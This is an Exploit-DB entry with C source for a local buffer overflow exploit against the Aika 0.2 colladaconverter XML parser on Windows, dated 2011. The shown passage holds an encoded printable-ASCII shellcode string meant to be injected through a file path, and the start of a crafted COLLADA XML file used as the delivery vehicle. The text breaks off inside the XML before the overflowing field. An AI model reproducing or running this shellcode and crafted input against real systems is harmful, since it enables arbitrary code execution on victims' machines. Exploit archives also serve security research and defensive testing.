Exploit-DB #17820
Description: Aika 0.2 - colladaconverter Xml Parsing Buffer Overflow
Type: local
Platform: windows
Date: 2011-09-12
Author: isciurus

Exploit:
/*
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
	# Exploit Title: Aika colladaconverter buffer overflow exploit
	# Date: 09/11/2011
	# Author: isciurus
	# Software Link: http://aika.googlecode.com/files/aika-v02.zip
	# Version: 0.2
	# Tested on: Windows 7 x64
 
    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.
 
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
 
    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/gpl-3.0.html>.
 
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
*/

#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#include "string.h"

char printableASCIIShellcode[] = 	// encoded 499 bytes
	"WUQQUj3hKzJYSaRYjVCX4VGRH4z0BfXRQPPZjQX4QP2BM0BMX2Ai0BMXYZPOCKHG" // will be injected inside the file path ---------
	"OHOCHGCKHKkAgFCBMGKJEA3Ag2Bg0BgABE94ku2QmAiAszHthbzMIMQ8Uz9TFQWC" //                                                |
	"GDNW6jYeJ8l47kSCPlKPRZljwLskRH6RQ0OiKjRENz4TUYHTfu6rjMTi1NAjGwMF" //                                                |
	"RHxIjxgzoZnVXlGIXJbCJYhxKHXKvjyFXDDLbNydxzXT3vTJdfa7Hpp3VM1jUOVv" //                                                |
	"UJYuPT3vkOQIPYGxa6Rk6NOaV9PEH56Mrrz5ZSPLOAvKIsFOCbfqWBRXPCNWSmJf" //                                                |
	"EVCXNoYNR9oDOaWoykz1Ev3TxcSHQz4ZOOLxlGBjsDGWGJs1EOCNqaAAOWHAMWCx" //                                                |
	"JEFIrTQ70vEFELaCIPPAPP0GUSmGfq1ZioUNQQATGCISZuJHNKRnlC3baNSAvIRO" //                                                |
	"HLvt4zVFHLkLxBQR5XsKpEN90RgdBZlNmISLELGsEL0myBVKzJY";             //                                                |
                                                                       //                                                |
char xml[] =                                                           //                                                |
	"<?xml version=\"1.0\" encoding=\"utf8\"?>"                        //                                                |
	"<COLLADA xmlns=\"http://www.collada.org/2005/11/COLLADASchema\" version=\"1.4.1\">" //                              |
    "<asset>"                                                                            //                              |
    "    <contributor>"                                                                  //                              |
    "        <author>isciurus</author>"                                                  //                              |
    "        <comments>The shellcode encoded with http://www.exploit-db.com/exploits/13286/</comments>" //               |
    "    </contributor>"                                                                 //                              |
    "    <created>2011-09-04T22:29:59Z</created>"                                        //                              |
    "    <modified>2011-09-04T22:29:59Z</modified>"                                      //                              |
    "    <unit meter=\"0.01\" name=\"centimeter\"/>"                                     //                              |
    "    <up_axis>Y_UP</up_axis>"                                                        //                              |
    "</asset>"                                                                           //                              |
    "<library_cameras>"                                                                  //                              |
    "    <camera id=\"cameraShape1\" name=\"cameraShape1\">"                             //                              |
    "        <optics>"                                                                   //                              |
    "            <technique_common>"                                                     //                              |
    "                <perspective>"                                                      //                              |
    "                    <yfov>37.8492</yfov>"                                           //                              |
    "                    <aspect_ratio>1.5</aspect_ratio>"                               //                              |
    "                    <znear>1</znear>"                                               //                              |
    "                    <zfar>10000</zfar>"                                             //                              |
    "                </perspective>"                                                     //                              |
    "            </technique_common>"                                                    //                              |
    "        </optics>"                                                                  //                              |
    "    </camera>"                                                                      //                              |
    "</library_cameras>"                                                                 //                              |
    "<library_lights></library_lights>"                                                  //                              |
    "<library_images>"                                                                   //                              |
    "    <image id=\"file